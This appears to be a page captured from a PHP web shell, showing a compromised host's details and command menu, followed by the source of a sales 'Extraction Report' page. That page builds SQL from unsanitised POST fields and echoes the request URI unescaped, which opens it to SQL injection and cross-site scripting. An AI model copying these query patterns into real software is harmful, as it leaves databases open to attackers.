|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/globalmining/../at/sae1/src/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
require_once"_config.php";
if(!isset($_SESSION["logs"])){
redirect("index.php");
}
$data["products"]=resultSet($con,"select pid,pname,uom from tbl_products order by pname");
$data["category"]=resultSet($con,"select cid,cname from tbl_category order by cname");
$data["fdate"] = date("d-m-Y");
$data["tdate"] = date("d-m-Y");
$data["pid"] = "0";
$data["cid"] = "0";
//$data["records"]=resultSet($con,"select s.sid,sno,sdate,GROUP_CONCAT(concat(pname,'-',cr,'-',uom) SEPARATOR '<br>') as details from tbl_sales s inner join tbl_transactions t on s.sid=t.ref_id inner join tbl_products p on t.pid=p.pid where ttype='SALES' group by t.ref_id order by sdate desc");+
if(isset($_POST["submit"])){
$fdate = date_db_format($_POST["fdate"]);
$tdate = date_db_format($_POST["tdate"]);
$data["fdate"] = $_POST["fdate"];
$data["tdate"] = $_POST["tdate"];
$data["pid"] = $_POST["pid"];
$data["cid"] = $_POST["cid"];
$where = [];
if($_POST["pid"]!=0)
{
$where[] = " p.pid={$_POST["pid"]} ";
}
if($_POST["cid"]!=0)
{
$where[] = " p.cid={$_POST["cid"]} ";
}
$w = "";
if(count($where)>0){
$w = " and ".implode(" and ",$where);
}
$sql = "select *,sum(cr) as qty from `{$_SESSION["fyear"]}_tbl_transactions` t inner join tbl_products p on t.pid=p.pid inner join tbl_category c on p.cid=c.cid where ttype='SALES' and tdate>='{$fdate}' and tdate<='{$tdate}' $w group by t.pid,rate,tdate order by tdate,pname";
$data["records"]=resultSet($con,$sql);
}
?>
<!DOCTYPE html>
<html lang="en">
<?php include "_header.php"; ?>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" data-kt-app-toolbar-enabled="true" class="app-default">
<script>var defaultThemeMode = "light"; var themeMode; if ( document.documentElement ) { if ( document.documentElement.hasAttribute("data-theme-mode")) { themeMode = document.documentElement.getAttribute("data-theme-mode"); } else { if ( localStorage.getItem("data-theme") !== null ) { themeMode = localStorage.getItem("data-theme"); } else { themeMode = defaultThemeMode; } } if (themeMode === "system") { themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; } document.documentElement.setAttribute("data-theme", themeMode); }</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid " id="kt_app_page">
<?php include"_navbar.php"; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include"_sidebar.php"; ?>
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<!-- Tool bar -->
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-dark fw-bold fs-3 flex-column justify-content-center my-0">Extraction Report</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="#" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-400 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted"><a href='sales_details.php'>Extraction Report</a></li>
</ul>
</div>
</div>
</div>
<!-- Page Body -->
<div id="kt_app_content" class="app-content flex-column-fluid ">
<div id="kt_app_content_container" class="app-container container-xxl ">
<div class="card card-flush">
<div class="card-header align-items-center py-5 gap-2 gap-md-5" style='display:block!important;'>
<form id="frm" class="form" action="<?php echo $_SERVER["REQUEST_URI"]; ?>" method='post'>
<div class='row'>
<div class="d-flex flex-column mb-8 fv-row col-md-2">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2 ">
<span class="required">From Date</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Select From Date"></i>
</label>
<input type="text" class="form-control form-control-solid datepicker" placeholder="Select From Date" name="fdate" value="<?php echo$data["fdate"]; ?>" required />
</div>
<div class="d-flex flex-column mb-8 fv-row col-md-2">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2">
<span class="required">To Date</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Select To Date"></i>
</label>
<input type="text" class="form-control form-control-solid datepicker" placeholder="Select To Date" name="tdate" required value="<?php echo $data["tdate"]; ?>" />
</div>
<div class="d-flex flex-column mb-8 fv-row col-md-3">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2">
<span class="required">Select Category</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Select Product Name"></i>
</label>
<select class="form-select form-select-solid" data-placeholder="Select Product" name='cid' id='cid'>
<option value='0'>All Category</option>
<?php foreach($data["category"] as $row):?>
<?php if($data["cid"] == $row["cid"]): ?>
<option selected value='<?php echo $row["cid"]; ?>' > <?php echo $row["cname"]; ?> </option>
<?php else:?>
<option value='<?php echo $row["cid"]; ?>' > <?php echo $row["cname"]; ?> </option>
<?php endif; ?>
<?php endforeach;?>
</select>
</div>
<div class="d-flex flex-column mb-8 fv-row col-md-3">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2">
<span class="required">Select Product</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Select Product Name"></i>
</label>
<select class="form-select form-select-solid" data-placeholder="Select Product" name='pid' id='pid'>
<option value='0'>All Products</option>
<?php foreach($data["products"] as $row):?>
<?php if($data["pid"] == $row["pid"]): ?>
<option selected value='<?php echo $row["pid"]; ?>' > <?php echo $row["pname"]; ?> </option>
<?php else:?>
<option value='<?php echo $row["pid"]; ?>' > <?php echo $row["pname"]; ?> </option>
<?php endif; ?>
<?php endforeach;?>
</select>
</div>
<div class="col-md-2">
<button type="submit" id="btn-submit" class="btn btn-primary btn-submit" style='margin-top:30px;' name='submit'>
View Report
</button>
</div>
</div>
</form>
</div>
</div>
<?php if(isset($data["records"])): ?>
<div class="card card-flush">
<div class="card-header align-items-center py-5 gap-2 gap-md-5">
<div class="card-title">
<!--begin::Search-->
<div class="d-flex align-items-center position-relative my-1">
<!--begin::Svg Icon | path: icons/duotune/general/gen021.svg-->
<span class="svg-icon svg-icon-1 position-absolute ms-4">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.5" x="17.0365" y="15.1223" width="8.15546" height="2" rx="1" transform="rotate(45 17.0365 15.1223)" fill="currentColor" />
<path d="M11 19C6.55556 19 3 15.4444 3 11C3 6.55556 6.55556 3 11 3C15.4444 3 19 6.55556 19 11C19 15.4444 15.4444 19 11 19ZM11 5C7.53333 5 5 7.53333 5 11C5 14.4667 7.53333 17 11 17C14.4667 17 17 14.4667 17 11C17 7.53333 14.4667 5 11 5Z" fill="currentColor" />
</svg>
</span>
<!--end::Svg Icon-->
<input type="text" data-kt-ecommerce-order-filter="search" class="form-control form-control-solid w-250px ps-14" placeholder="Search Report" />
</div>
<!--end::Search-->
<!--begin::Export buttons-->
<div id="kt_ecommerce_report_sales_export" class="d-none"></div>
<!--end::Export buttons-->
</div>
<div class="card-toolbar flex-row-fluid justify-content-end gap-5">
<!--begin::Daterangepicker
<input class="form-control form-control-solid w-100 mw-250px" placeholder="Pick date range" id="kt_ecommerce_report_sales_daterangepicker" />-->
<!--end::Daterangepicker-->
<!--begin::Export dropdown-->
<button type="button" class="btn btn-light-primary" data-kt-menu-trigger="click" data-kt-menu-placement="bottom-end">
<!--begin::Svg Icon | path: icons/duotune/arrows/arr078.svg-->
<span class="svg-icon svg-icon-2">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.3" x="12.75" y="4.25" width="12" height="2" rx="1" transform="rotate(90 12.75 4.25)" fill="currentColor" />
<path d="M12.0573 6.11875L13.5203 7.87435C13.9121 8.34457 14.6232 8.37683 15.056 7.94401C15.4457 7.5543 15.4641 6.92836 15.0979 6.51643L12.4974 3.59084C12.0996 3.14332 11.4004 3.14332 11.0026 3.59084L8.40206 6.51643C8.0359 6.92836 8.0543 7.5543 8.44401 7.94401C8.87683 8.37683 9.58785 8.34458 9.9797 7.87435L11.4427 6.11875C11.6026 5.92684 11.8974 5.92684 12.0573 6.11875Z" fill="currentColor" />
<path opacity="0.3" d="M18.75 8.25H17.75C17.1977 8.25 16.75 8.69772 16.75 9.25C16.75 9.80228 17.1977 10.25 17.75 10.25C18.3023 10.25 18.75 10.6977 18.75 11.25V18.25C18.75 18.8023 18.3023 19.25 17.75 19.25H5.75C5.19772 19.25 4.75 18.8023 4.75 18.25V11.25C4.75 10.6977 5.19771 10.25 5.75 10.25C6.30229 10.25 6.75 9.80228 6.75 9.25C6.75 8.69772 6.30229 8.25 5.75 8.25H4.75C3.64543 8.25 2.75 9.14543 2.75 10.25V19.25C2.75 20.3546 3.64543 21.25 4.75 21.25H18.75C19.8546 21.25 20.75 20.3546 20.75 19.25V10.25C20.75 9.14543 19.8546 8.25 18.75 8.25Z" fill="currentColor" />
</svg>
</span>
<!--end::Svg Icon-->Export Report</button>
<!--begin::Menu-->
<div id="kt_ecommerce_report_sales_export_menu" class="menu menu-sub menu-sub-dropdown menu-column menu-rounded menu-gray-600 menu-state-bg-light-primary fw-semibold fs-7 w-200px py-4" data-kt-menu="true">
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="copy">Copy to clipboard</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="excel">Export as Excel</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="csv">Export as CSV</a>
</div>
<!--end::Menu item-->
<!--begin::Menu item-->
<div class="menu-item px-3">
<a href="#" class="menu-link px-3" data-kt-ecommerce-export="pdf">Export as PDF</a>
</div>
<!--end::Menu item-->
</div>
<!--end::Menu-->
<!--end::Export dropdown-->
</div>
</div>
<div class="card-body pt-0">
<div id="kt_ecommerce_category_table_wrapper" class="dataTables_wrapper dt-bootstrap4 no-footer">
<div class="table-responsive">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="kt_ecommerce_report_sales_table">
<thead>
<tr class="text-start text-gray-400 fw-bold fs-7 text-uppercase gs-0">
<th class="w-10px pe-2">SNo</th>
<th>Date</th>
<th>Category</th>
<th>Products</th>
<th class='text-end'>Qty</th>
<th>Uom</th>
<th class='text-end'>Rate</th>
<th class='text-end'>Total</th>
</tr>
</thead>
<tbody class="fw-semibold text-gray-600" id='tbody'>
<?php $total = 0; $i=0; foreach($data["records"] as $row): $i++; ?>
<tr>
<td><?php echo $i; ?></td>
<td><?php echo date_user_format($row["tdate"]); ?></td>
<td><?php echo $row["cname"]; ?></td>
<td><?php echo $row["pname"]; ?></td>
<td class='text-end'><?php echo $row["qty"]; ?></td>
<td><?php echo $row["uom"]; ?></td>
<td class='text-end'><?php echo $row["rate"]; ?></td>
<td class='text-end'><?php echo format($row["rate"]*$row["qty"]); ?></td>
</tr>
<?php $total+=($row["rate"]*$row["qty"]); endforeach; ?>
</tbody>
<tfoot>
<tr>
<td colspan='7' class='text-right'>Total</td>
<td class='text-end'><?php echo format($total);?></td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
<?php endif; ?>
</div>
</div>
<?php include "_footer_content.php"; ?>
</div>
</div>
</div>
</div>
<?php include "_footer.php";?>
<script>
$(document).ready(function(){
$('#pid').select2();
$('#cid').select2();
var KTAppEcommerceReportSales = function() {
var t, e;
return {
init: function() {
(t = document.querySelector("#kt_ecommerce_report_sales_table")) && (t.querySelectorAll("tbody tr").forEach((t => {
const e = t.querySelectorAll("td"),
r = moment(e[0].innerHTML, "MMM DD, YYYY").format();
e[0].setAttribute("data-order", r)
})), e = $(t).DataTable({
info: !1,
order: [],
pageLength: 10
}),(() => {
const e = "Sales Report";
new $.fn.dataTable.Buttons(t, {
buttons: [{
extend: "copyHtml5",
title: e
}, {
extend: "excelHtml5",
title: e
}, {
extend: "csvHtml5",
title: e
}, {
extend: "pdfHtml5",
title: e
}]
}).container().appendTo($("#kt_ecommerce_report_sales_export")), document.querySelectorAll("#kt_ecommerce_report_sales_export_menu [data-kt-ecommerce-export]").forEach((t => {
t.addEventListener("click", (t => {
t.preventDefault();
const e = t.target.getAttribute("data-kt-ecommerce-export");
document.querySelector(".dt-buttons .buttons-" + e).click()
}))
}))
})(), document.querySelector('[data-kt-ecommerce-order-filter="search"]').addEventListener("keyup", (function(t) {
e.search(t.target.value).draw()
})))
}
}
}();
KTUtil.onDOMContentLoaded((function() {
KTAppEcommerceReportSales.init()
}));
});
</script>
<script>
$(document).ready(function(){
//Delete Row
$("body").on("click",".del_row",function(e){
e.preventDefault();
const n =$(this).closest("tr");
o = $(this).closest("tr").find('td:eq(1)').text();
var sid = $(this).attr("sid");
alert(sid);
Swal.fire({
text: "Are you sure you want to delete " + o + "?",
icon: "warning",
showCancelButton: !0,
buttonsStyling: !1,
confirmButtonText: "Yes, delete!",
cancelButtonText: "No, cancel",
customClass: {
confirmButton: "btn fw-bold btn-danger",
cancelButton: "btn fw-bold btn-active-light-primary"
}
}).then((function(t) {
t.value ? Swal.fire({
text: "You have deleted " + o + "!.",
icon: "success",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
}).then((function() {
$.ajax({
url:"_ajax_sales.php",
type:"post",
data:{sid:sid,action:"Delete"},
beforeSend:function(){
},
success:function(res){
alert(res);
n.remove()
}
});
})) : "cancel" === t.dismiss && Swal.fire({
text: o + " was not deleted.",
icon: "error",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
})
}))
});
function generateSno(){
var i = 1;
$("#tbody tr").each(function(){
$(this).find("td:eq(0)").text(i);
i++;
});
}
});
</script>
</body>
</html>